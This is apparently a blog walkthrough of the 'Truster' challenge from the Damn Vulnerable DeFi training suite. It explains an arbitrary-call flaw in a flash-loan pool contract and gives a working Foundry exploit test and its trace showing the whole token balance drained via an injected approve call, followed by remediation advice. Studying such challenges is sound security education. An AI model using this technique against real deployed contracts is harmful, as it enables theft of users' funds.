Challenge Link to heading
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing.
But don’t worry, you might be able to take them all from the pool. In a single transaction.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {Address} from "openzeppelin-contracts/utils/Address.sol";
import {ReentrancyGuard} from "openzeppelin-contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
error NotEnoughTokensInPool();
error FlashLoanHasNotBeenPaidBack();
constructor(address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external nonReentrant {
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
}
Analysis Link to heading
The contract keeps a reference to the DVT ERC20 token, which is set in the constructor:
IERC20 public immutable damnValuableToken;
The flashLoan
function takes 4 arguments:
uint256 borrowAmount
– The amount of DVT tokens user wants to borrow.address borrower
– Same as in the previous challenge, this function requires us to pass the borrower address instead of just usingmsg.sender
.address target
– The flash loan receiver contract.bytes calldata data
– The signature of an external function, which is called ontarget
contract π€.
In the very beginning this function checks that the
contract has enough tokens to lend and transfers the requested
borrowAmount
to the borrower
address:
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
damnValuableToken.transfer(borrower, borrowAmount);
And at the end it ensures that the borrower has repaid the flash loan:
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
Everything looks good so far… until we encounter this line right after transferring funds to the borrower:
target.functionCall(data);
The
functionCall
is defined in the OpenZeppelin’s Address
library:
Performs a Solidity function call using a low level call. A plain call is an unsafe replacement for a function call: use this function instead. If target reverts with a revert reason, it is bubbled up by this function (like regular Solidity function calls).
Basically this line above allows us to call any function on any
smart contract, which is a very bad news for the
TrusterLenderPool
because we’re going to use this flaw to
steal all the DVT’s from it π.
Solution Link to heading
There is no validation of the minimum allowed borrowAmount
.
Hence we can borrow 0
tokens so we don’t have to repay
anything at all. Then we can pass the encoded
approve
function to set the attacker an allowance to spend all the
TrusterLenderPool
’s tokens. Finally, the attacker can transfer
all the DVT tokens to its account.
function testExploit() public {
/** EXPLOIT START **/
uint256 poolBalance = dvt.balanceOf(address(trusterLenderPool));
vm.prank(attacker);
bytes memory attrackCallData = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
poolBalance
);
trusterLenderPool.flashLoan(0, attacker, address(dvt), attrackCallData);
vm.prank(attacker);
dvt.transferFrom(address(trusterLenderPool), attacker, poolBalance);
/** EXPLOIT END **/
validation();
}
We don’t care about the borrower
argument here, since we
aren’t borrowing anything. So it could be any other address
instead, except the address(0)
.
The trace:
[72299] Truster::testExploit()
ββ [2562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
β ββ β 1000000000000000000000000
ββ [0] VM::prank(Attacker: [...])
β ββ β ()
ββ [36532] Truster Lender Pool::flashLoan(0, Attacker: [...], DVT: [...], ...)
β ββ [562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
β β ββ β 1000000000000000000000000
β ββ [5270] DVT::transfer(Attacker: [...], 0)
β β ββ emit Transfer(from: Truster Lender Pool: [...], to: Attacker: [...], value: 0)
β β ββ β true
β ββ [24624] DVT::approve(Attacker: [...], 1000000000000000000000000)
β β ββ emit Approval(owner: Truster Lender Pool: [...], spender: Attacker: [...], value: 1000000000000000000000000)
β β ββ β true
β ββ [562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
β β ββ β 1000000000000000000000000
β ββ β ()
ββ [0] VM::prank(Attacker: [...])
β ββ β ()
ββ [22927] DVT::transferFrom(Truster Lender Pool: [...], Attacker: [...], 1000000000000000000000000)
β ββ emit Approval(owner: Truster Lender Pool: [...], spender: Attacker: [...], value: 0)
β ββ emit Transfer(from: Truster Lender Pool: [...], to: Attacker: [...], value: 1000000000000000000000000)
β ββ β true
ββ [562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
β ββ β 0
ββ [562] DVT::balanceOf(Attacker: [...]) [staticcall]
β ββ β 1000000000000000000000000
ββ β ()
Remediation Link to heading
- Don’t allow calling arbitrary functions, require a specific interface.
- Use
msg.sender
instead of having the separateborrower
andtarget
addresses.
I hope you enjoyed reading this post. The code for this challenge is here. Let’s continue to the next one – #4 Side entrance.